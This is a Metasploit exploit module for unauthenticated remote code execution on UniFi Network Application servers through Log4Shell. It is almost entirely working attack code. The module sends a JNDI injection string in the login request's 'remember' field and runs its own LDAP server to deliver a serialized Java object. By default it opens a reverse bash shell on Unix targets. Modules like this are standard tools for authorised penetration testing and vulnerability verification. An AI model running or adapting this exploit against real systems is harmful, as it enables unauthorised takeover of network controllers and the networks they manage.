UniFi Network Application Unauthenticated Log4Shell Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::JndiInjection  
include Msf::Exploit::Remote::HttpClient  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(_info = {})  
super(  
'Name' => 'UniFi Network Application Unauthenticated JNDI Injection RCE (via Log4Shell)',  
'Description' => %q{  
The Ubiquiti UniFi Network Application versions 5.13.29 through 6.5.53 are affected by the Log4Shell  
vulnerability whereby a JNDI string can be sent to the server via the 'remember' field of a POST request to the  
/api/login endpoint that will cause the server to connect to the attacker and deserialize a malicious Java  
object. This results in OS command execution in the context of the server application.  
  
This module will start an LDAP server that the target will need to connect to.  
},  
'Author' => [  
'Spencer McIntyre', # this exploit module and JNDI/LDAP lib stuff  
'RageLtMan <rageltman[at]sempervictus>', # JNDI/LDAP lib stuff  
'Nicholas Anastasi' # Unifi research  
],  
'References' => [  
[ 'CVE', '2021-44228' ],  
[ 'URL', 'https://www.sprocketsecurity.com/blog/another-log4j-on-the-fire-unifi' ],  
[ 'URL', 'https://github.com/puzzlepeaches/Log4jUnifi' ],  
[ 'URL', 'https://community.ui.com/releases/UniFi-Network-Application-6-5-54/d717f241-48bb-4979-8b10-99db36ddabe1' ]  
],  
'DisclosureDate' => '2021-12-09',  
'License' => MSF_LICENSE,  
'DefaultOptions' => {  
'RPORT' => 8443,  
'SSL' => true,  
'WfsDelay' => 30  
},  
'DefaultTarget' => 1,  
'Targets' => [  
[  
'Windows', {  
'Platform' => 'win'  
},  
],  
[  
'Unix', {  
'Platform' => 'unix',  
'Arch' => [ARCH_CMD],  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
},  
]  
],  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'SideEffects' => [IOC_IN_LOGS],  
'AKA' => ['Log4Shell', 'LogJam'],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'Base path', '/'])  
])  
end  
  
def wait_until(&block)  
datastore['WfsDelay'].times do  
break if block.call  
  
sleep(1)  
end  
end  
  
def check  
validate_configuration!  
res = send_request_cgi('uri' => normalize_uri(target_uri, 'status'))  
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  
  
server_version = res.get_json_document.dig('meta', 'server_version')  
return Exploit::CheckCode::Safe('The target service does not appear to be running.') unless server_version =~ /(\d+\.)+/  
  
vprint_status("Detected version: #{server_version}")  
server_version = Rex::Version.new(server_version)  
if server_version < Rex::Version.new('5.13.29')  
return Exploit::CheckCode::Safe('Versions prior to 5.13.29 are not exploitable.')  
elsif server_version > Rex::Version.new('6.5.53')  
return Exploit::CheckCode::Safe('Versions after 6.5.53 are patched and not affected.')  
end  
  
vprint_status('The target appears to be a vulnerable version, attempting to trigger the vulnerability...')  
  
start_service  
res = trigger  
return Exploit::CheckCode::Unknown('No HTTP response was received.') if res.nil?  
  
wait_until { @search_received }  
@search_received ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Unknown('No LDAP search query was received.')  
ensure  
stop_service  
end  
  
def build_ldap_search_response_payload  
return [] if @search_received  
  
@search_received = true  
  
return [] unless @exploiting  
  
print_good('Delivering the serialized Java object to execute the payload...')  
build_ldap_search_response_payload_inline('BeanFactory')  
end  
  
def trigger  
@search_received = false  
# HTTP request initiator  
send_request_cgi(  
'uri' => normalize_uri(target_uri, 'api', 'login'),  
'method' => 'POST',  
'ctype' => 'application/json',  
'data' => {  
'username' => rand_text_alphanumeric(8..16), # can not be blank!,  
'password' => rand_text_alphanumeric(8..16), # can not be blank!  
'remember' => jndi_string,  
'strict' => true  
}.to_json  
)  
end  
  
def exploit  
validate_configuration!  
  
@exploiting = true  
start_service  
res = trigger  
fail_with(Failure::Unreachable, 'Failed to trigger the vulnerability') if res.nil?  
  
msg = res.get_json_document.dig('meta', 'msg')  
if res.code == 400 && msg == 'api.err.Invalid' # returned by versions before 5.13.29  
fail_with(Failure::NotVulnerable, 'The target is not vulnerable')  
end  
  
unless res.code == 400 && msg == 'api.err.InvalidPayload' # returned by versions after 5.13.29 (including patched ones)  
fail_with(Failure::UnexpectedReply, 'The server replied to the trigger in an unexpected way')  
end  
  
wait_until { @search_received && (!handler_enabled? || session_created?) }  
handler  
ensure  
cleanup  
end  
end  
`